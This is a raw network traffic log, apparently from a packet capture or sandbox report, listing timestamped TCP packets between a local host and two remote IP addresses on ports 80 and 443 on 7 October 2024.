Oct 7, 2024 21:18:44.223227978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.223236084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223243952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.223248005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223258972 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.223258972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223270893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223280907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223282099 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.223292112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223301888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223304987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.223314047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223323107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.223324060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223335981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223336935 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.223345995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223356009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.223361015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.223397017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.224080086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224091053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224101067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224111080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224121094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224134922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.224138021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224149942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224149942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.224160910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224170923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224175930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.224181890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224193096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224203110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224205017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.224214077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224224091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.224225998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224236965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224239111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.224247932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224257946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224266052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.224267960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224278927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224291086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.224309921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.224941969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224953890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224963903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224973917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224983931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224993944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.224999905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.225003958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225016117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225018024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.225027084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225035906 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.225038052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225054979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.225070000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.225477934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225487947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225497007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225507975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225512981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.225517988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225528955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225538015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.225538015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225549936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225557089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.225562096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225573063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.225577116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225588083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225596905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225599051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.225608110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225620031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225626945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.225631952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225641966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225642920 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.225652933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.225671053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.225694895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.226349115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.226360083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.226368904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.226380110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.226386070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.226389885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.226401091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.226411104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.226411104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.226423025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.226428986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.226434946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.226444006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.226447105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.226458073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.226469040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.226494074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.303468943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.303514957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.303531885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.303600073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.303613901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.303627968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.303639889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.303669930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.303694963 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.303720951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.303854942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.303867102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.303891897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.303910971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304012060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304023981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304029942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304037094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304063082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304086924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304233074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304244995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304254055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304265022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304271936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304275036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304286957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304292917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304299116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304310083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304312944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304322958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304335117 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304357052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304620028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304631948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304641008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304652929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304661989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304666042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304671049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304677010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304709911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304709911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304724932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304889917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304902077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304912090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304924011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304934025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304935932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304946899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.304955006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304970980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.304991007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.305145979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305183887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.305321932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305334091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305342913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305354118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305363894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305367947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.305367947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.305375099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305385113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.305387974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305398941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305402994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.305409908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305417061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.305421114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305432081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305433035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.305442095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305453062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.305454969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.305488110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.305488110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306020021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306030989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306041002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306051970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306061029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306066036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306072950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306082964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306085110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306094885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306103945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306108952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306118965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306128979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306138992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306142092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306153059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306154013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306164980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306178093 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306190968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306204081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306215048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306792974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306804895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306813955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306824923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306834936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306835890 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306847095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306858063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306860924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306869030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306874037 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306880951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306890011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306893110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306904078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306911945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306916952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306929111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306930065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306940079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306947947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306952000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.306969881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.306992054 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.307594061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307605028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307615995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307626009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307636023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307646036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307648897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.307657003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307662964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.307667971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307678938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307683945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.307689905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307696104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.307701111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307708979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.307713032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307723999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307734013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307739973 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.307744980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307755947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307761908 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.307766914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.307769060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.307794094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.307813883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.308537006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308547974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308557987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308568001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308576107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.308579922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308592081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.308593035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308604002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308615923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.308617115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308623075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308628082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308638096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308650970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308653116 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.308653116 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.308661938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308671951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308681011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.308681965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.308690071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.308707952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.308727980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.367947102 CEST	49884	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.367984056 CEST	443	49884	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.368001938 CEST	49884	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.368010044 CEST	443	49884	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.368072987 CEST	49886	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.368102074 CEST	443	49886	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.368113041 CEST	49886	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.368119001 CEST	443	49886	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.369852066 CEST	49885	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.369859934 CEST	443	49885	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.369878054 CEST	49885	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.369882107 CEST	443	49885	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.379781961 CEST	49887	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.379806042 CEST	443	49887	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.379992962 CEST	49887	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.388211966 CEST	49888	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.388221025 CEST	443	49888	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.388269901 CEST	49888	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.391938925 CEST	49887	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.391954899 CEST	443	49887	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.392729998 CEST	49888	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.392743111 CEST	443	49888	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.396387100 CEST	49889	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.396428108 CEST	443	49889	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.396478891 CEST	49889	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.397201061 CEST	49889	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.397214890 CEST	443	49889	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.398195028 CEST	49890	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.398211002 CEST	443	49890	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.398251057 CEST	49890	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.401226044 CEST	49890	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.401248932 CEST	443	49890	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.406198978 CEST	49891	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.406209946 CEST	443	49891	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.406425953 CEST	49891	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.407113075 CEST	49891	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.407130957 CEST	443	49891	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.409110069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409123898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409135103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409147024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409159899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.409188986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.409198999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.409317017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409328938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409339905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409349918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409356117 CEST	49810	80	192.168.2.5	95.164.90.97
